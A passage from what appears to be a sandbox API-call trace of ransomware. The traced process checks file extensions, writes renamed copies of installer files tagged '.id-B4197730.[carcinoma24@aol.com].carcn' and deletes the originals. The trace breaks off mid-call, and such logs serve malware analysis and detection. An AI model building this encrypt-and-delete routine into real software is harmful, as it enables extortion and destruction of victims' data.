lpString2=".xml") returned -1 [0161.228] lstrlenW (lpString=".xlsx") returned 5 [0161.228] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.228] lstrlenW (lpString=".ppt") returned 4 [0161.228] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.228] lstrlenW (lpString=".zip") returned 4 [0161.228] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.228] lstrlenW (lpString=".rar") returned 4 [0161.228] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.228] lstrlenW (lpString=".bz2") returned 4 [0161.228] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.228] lstrlenW (lpString=".7z") returned 3 [0161.228] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.228] lstrlenW (lpString=".dbf") returned 4 [0161.228] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.228] lstrlenW (lpString=".1cd") returned 4 [0161.228] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.228] lstrlenW (lpString=".jpg") returned 4 [0161.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.228] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.228] lstrlenW (lpString="eula.rtf") returned 8 [0161.228] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.242] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3546) returned 1 [0161.242] CloseHandle (hObject=0x388) returned 1 [0161.242] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0161.243] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.243] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.243] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.243] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.243] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0161.244] GetLastError () returned 0x0 [0161.244] ReadFile (in: hFile=0x388, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0xdda, lpOverlapped=0x0) returned 1 [0161.334] WriteFile (in: hFile=0x360, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xde0, lpOverlapped=0x0) returned 1 [0161.335] ReadFile (in: hFile=0x388, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.335] WriteFile (in: hFile=0x360, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.335] SetEndOfFile (hFile=0x360) returned 1 [0161.335] CloseHandle (hObject=0x360) returned 1 [0161.335] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.336] SetEndOfFile (hFile=0x388) returned 1 [0161.336] CloseHandle (hObject=0x388) returned 1 [0161.337] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.337] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0161.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.337] lstrlenW (lpString=".doc") returned 4 [0161.337] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.337] lstrlenW (lpString=".docx") returned 5 [0161.337] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.337] lstrlenW (lpString=".pdf") returned 4 [0161.337] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.337] lstrlenW (lpString=".xls") returned 4 [0161.337] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.337] lstrlenW (lpString=".xlsx") returned 5 [0161.337] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.337] lstrlenW (lpString=".ppt") returned 4 [0161.337] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.337] lstrlenW (lpString=".zip") returned 4 [0161.337] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.337] lstrlenW (lpString=".rar") returned 4 [0161.338] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.338] lstrlenW (lpString=".bz2") returned 4 [0161.338] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.338] lstrlenW (lpString=".7z") returned 3 [0161.338] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.338] lstrlenW (lpString=".dbf") returned 4 [0161.338] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.338] lstrlenW (lpString=".1cd") returned 4 [0161.338] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.338] lstrlenW (lpString=".jpg") returned 4 [0161.338] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.338] lstrlenW (lpString=".doc") returned 4 [0161.338] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.338] lstrlenW (lpString=".docx") returned 5 [0161.338] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.338] lstrlenW (lpString=".pdf") returned 4 [0161.338] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.338] lstrlenW (lpString=".xls") returned 4 [0161.338] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.338] lstrlenW (lpString=".xlsx") returned 5 [0161.338] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.339] lstrlenW (lpString=".ppt") returned 4 [0161.339] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.339] lstrlenW (lpString=".zip") returned 4 [0161.339] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.339] lstrlenW (lpString=".rar") returned 4 [0161.339] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.339] lstrlenW (lpString=".bz2") returned 4 [0161.339] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.339] lstrlenW (lpString=".7z") returned 3 [0161.339] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.339] lstrlenW (lpString=".dbf") returned 4 [0161.339] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.339] lstrlenW (lpString=".1cd") returned 4 [0161.339] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0161.339] lstrlenW (lpString=".jpg") returned 4 [0161.339] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.339] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.339] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.339] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.340] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=79296) returned 1 [0161.340] CloseHandle (hObject=0x388) returned 1 [0161.340] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0161.340] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.340] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.340] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0161.340] GetLastError () returned 0x0 [0161.340] ReadFile (in: hFile=0x388, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x135c0, lpOverlapped=0x0) returned 1 [0161.413] WriteFile (in: hFile=0x360, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x135d0, lpOverlapped=0x0) returned 1 [0161.415] ReadFile (in: hFile=0x388, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.416] WriteFile (in: hFile=0x360, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.416] SetEndOfFile (hFile=0x360) returned 1 [0161.416] CloseHandle (hObject=0x360) returned 1 [0161.418] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.418] SetEndOfFile (hFile=0x388) returned 1 [0161.419] CloseHandle (hObject=0x388) returned 1 [0161.419] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.419] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0161.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.420] lstrlenW (lpString=".doc") returned 4 [0161.420] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.420] lstrlenW (lpString=".docx") returned 5 [0161.420] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.420] lstrlenW (lpString=".pdf") returned 4 [0161.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.420] lstrlenW (lpString=".xls") returned 4 [0161.420] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.420] lstrlenW (lpString=".xlsx") returned 5 [0161.420] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.420] lstrlenW (lpString=".ppt") returned 4 [0161.420] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.420] lstrlenW (lpString=".zip") returned 4 [0161.420] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.420] lstrlenW (lpString=".rar") returned 4 [0161.420] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.420] lstrlenW (lpString=".bz2") returned 4 [0161.420] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.420] lstrlenW (lpString=".7z") returned 3 [0161.420] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.420] lstrlenW (lpString=".dbf") returned 4 [0161.420] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.420] lstrlenW (lpString=".1cd") returned 4 [0161.420] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.420] lstrlenW (lpString=".jpg") returned 4 [0161.420] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.420] lstrlenW (lpString=".doc") returned 4 [0161.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.421] lstrlenW (lpString=".docx") returned 5 [0161.421] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.421] lstrlenW (lpString=".pdf") returned 4 [0161.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.421] lstrlenW (lpString=".xls") returned 4 [0161.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.421] lstrlenW (lpString=".xlsx") returned 5 [0161.421] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.421] lstrlenW (lpString=".ppt") returned 4 [0161.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.421] lstrlenW (lpString=".zip") returned 4 [0161.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.421] lstrlenW (lpString=".rar") returned 4 [0161.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.421] lstrlenW (lpString=".bz2") returned 4 [0161.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.421] lstrlenW (lpString=".7z") returned 3 [0161.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.421] lstrlenW (lpString=".dbf") returned 4 [0161.421] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.421] lstrlenW (lpString=".1cd") returned 4 [0161.421] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0161.421] lstrlenW (lpString=".jpg") returned 4 [0161.421] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.421] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.421] lstrlenW (lpString="eula.rtf") returned 8 [0161.422] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.456] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=54456) returned 1 [0161.456] CloseHandle (hObject=0x2f8) returned 1 [0161.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0161.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.456] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.456] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.458] GetLastError () returned 0x0 [0161.458] ReadFile (in: hFile=0x2f8, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0161.619] WriteFile (in: hFile=0x2fc, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0161.620] ReadFile (in: hFile=0x2f8, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.620] WriteFile (in: hFile=0x2fc, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.620] SetEndOfFile (hFile=0x2fc) returned 1 [0161.621] CloseHandle (hObject=0x2fc) returned 1 [0161.622] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.622] SetEndOfFile (hFile=0x2f8) returned 1 [0161.623] CloseHandle (hObject=0x2f8) returned 1 [0161.623] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.623] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0161.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.624] lstrlenW (lpString=".doc") returned 4 [0161.624] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.624] lstrlenW (lpString=".docx") returned 5 [0161.624] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.624] lstrlenW (lpString=".pdf") returned 4 [0161.624] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.624] lstrlenW (lpString=".xls") returned 4 [0161.624] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.624] lstrlenW (lpString=".xlsx") returned 5 [0161.624] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.624] lstrlenW (lpString=".ppt") returned 4 [0161.624] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.624] lstrlenW (lpString=".zip") returned 4 [0161.624] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.624] lstrlenW (lpString=".rar") returned 4 [0161.624] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.624] lstrlenW (lpString=".bz2") returned 4 [0161.624] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.624] lstrlenW (lpString=".7z") returned 3 [0161.624] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.624] lstrlenW (lpString=".dbf") returned 4 [0161.624] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.624] lstrlenW (lpString=".1cd") returned 4 [0161.624] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.624] lstrlenW (lpString=".jpg") returned 4 [0161.625] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.625] lstrlenW (lpString=".doc") returned 4 [0161.625] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.625] lstrlenW (lpString=".docx") returned 5 [0161.625] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.625] lstrlenW (lpString=".pdf") returned 4 [0161.625] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.625] lstrlenW (lpString=".xls") returned 4 [0161.625] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.625] lstrlenW (lpString=".xlsx") returned 5 [0161.625] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.625] lstrlenW (lpString=".ppt") returned 4 [0161.625] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.625] lstrlenW (lpString=".zip") returned 4 [0161.625] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.625] lstrlenW (lpString=".rar") returned 4 [0161.625] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.625] lstrlenW (lpString=".bz2") returned 4 [0161.625] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.625] lstrlenW (lpString=".7z") returned 3 [0161.625] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.625] lstrlenW (lpString=".dbf") returned 4 [0161.625] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.625] lstrlenW (lpString=".1cd") returned 4 [0161.625] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0161.625] lstrlenW (lpString=".jpg") returned 4 [0161.625] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.626] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.626] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.665] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=80254) returned 1 [0161.665] CloseHandle (hObject=0x310) returned 1 [0161.665] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0161.665] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.690] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, 